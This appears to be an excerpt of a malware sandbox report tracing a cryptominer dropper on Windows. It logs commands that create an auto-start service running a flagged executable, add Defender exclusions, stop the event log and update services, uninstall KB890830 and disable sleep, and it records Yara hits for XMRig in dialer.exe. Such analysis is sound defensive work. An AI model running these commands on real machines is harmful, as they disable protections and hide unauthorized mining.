Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7dc670000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "GeekBrains"
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	04:35:57
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "GeekBrains" binpath= "C:\ProgramData\Screenshots\Lightshot.exe" start= "auto"
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\winlogon.exe
Wow64 process (32bit):	false
Commandline:	winlogon.exe
Imagebase:	0x7ff6156c0000
File size:	906'240 bytes
MD5 hash:	F8B41A1B3E569E7E6F990567F21DCE97
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	32
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "GeekBrains"
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\ProgramData\Screenshots\Lightshot.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\Screenshots\Lightshot.exe
Imagebase:	0x7ff7b1c80000
File size:	2'876'416 bytes
MD5 hash:	990A3F3B1273510F210FB9B541DA219F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 66%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	04:35:58
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	04:35:59
Start date:	10/01/2025
Path:	C:\Windows\System32\lsass.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\lsass.exe
Imagebase:	0x7ff654c90000
File size:	59'456 bytes
MD5 hash:	A1CC00332BBF370654EE3DC8CDC8C95A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	40
Start time:	04:35:59
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	41
Start time:	04:35:59
Start date:	10/01/2025
Path:	C:\Windows\System32\dwm.exe
Wow64 process (32bit):	false
Commandline:	"dwm.exe"
Imagebase:	0x7ff79d4a0000
File size:	94'720 bytes
MD5 hash:	5C27608411832C5B39BA04E33D53536C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	42
Start time:	04:36:00
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff747680000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	04:36:00
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	04:36:00
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	04:36:00
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	04:36:00
Start date:	10/01/2025
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff7bb240000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff6c8170000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff7cff10000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7dc670000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	63
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	04:36:01
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\dialer.exe
Imagebase:	0x7ff7dc670000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	65
Start time:	04:36:02
Start date:	10/01/2025
Path:	C:\Windows\System32\dialer.exe
Wow64 process (32bit):	false
Commandline:	dialer.exe
Imagebase:	0x7ff7dc670000
File size:	39'936 bytes
MD5 hash:	B2626BDCF079C6516FC016AC5646DF93
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000041.00000002.3278592017.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	66
Start time:	04:36:02
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	67
Start time:	04:36:02
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	68
Start time:	04:36:02
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	69
Start time:	04:36:03
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21.8%
Total number of Nodes:	174
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF7EB90118B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF7EB9011A5
_amsg_exit.MSVCRT ref: 00007FF7EB9011CC
_initterm.MSVCRT ref: 00007FF7EB90120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF7EB901156), ref: 00007FF7EB90124E
malloc.MSVCRT ref: 00007FF7EB90127E
strlen.MSVCRT ref: 00007FF7EB9012A4
malloc.MSVCRT ref: 00007FF7EB9012B0
memcpy.MSVCRT ref: 00007FF7EB9012C3
_cexit.MSVCRT ref: 00007FF7EB90132D

Strings

&, xrefs: 00007FF7EB901265
Hc=v+, xrefs: 00007FF7EB90126F

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: Hc=v+$&
API String ID: 2643109117-1582277970
Opcode ID: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction ID: b2a94d7747a335c025be608e53e8545787abd3978ed2ead544d536688e354d96
Opcode Fuzzy Hash: f28bcbd3aced9bded85194f04272e05ae1a5f6cd8d3217fde42567944beb1297
Instruction Fuzzy Hash: 01411931A09616C5F644BB1DE990379ABA5BF45788FD48433EA4D837B6DF3CA8418322

Function 00007FF7EB901394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeshutdownCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetSystemPowerState.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7EB901156), ref: 00007FF7EB9013F7

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

Associated: 00000000.00000002.2070271600.00007FF7EB900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070380475.00007FF7EB90B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070422051.00007FF7EB90E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2070466176.00007FF7EB90F000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071523893.00007FF7EBB8B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071609340.00007FF7EBBC2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2071651119.00007FF7EBBC5000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7eb900000_nW2oopMIdg.jbxd

Similarity

API ID: PowerStateSystem
String ID:
API String ID: 3171559674-0
Opcode ID: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction ID: 0e18025da4ab1a66d5b9328719b29663b717aa630856976929b35823c92f4430
Opcode Fuzzy Hash: a1de17929970613745475dfb258eac20f00eeb650f4ca252eee93986af9b64e4
Instruction Fuzzy Hash: 8AF0B671D0CB41C2E610EB69F84422ABB74FB8A388F405936EA9C46735CF3CE450CB61

Non-executed Functions

Function 00007FF7EB9065EC Relevance: 23.0, APIs: 12, Strings: 3, Instructions: 489
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcslen.MSVCRT ref: 00007FF7EB9066FB
wcslen.MSVCRT ref: 00007FF7EB906872
wcslen.MSVCRT ref: 00007FF7EB9068A9

Strings

6, xrefs: 00007FF7EB906A3B
X&, xrefs: 00007FF7EB906FAC
0, xrefs: 00007FF7EB906F39

Memory Dump Source

Source File: 00000000.00000002.2070327807.00007FF7EB901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EB900000, based on PE: true

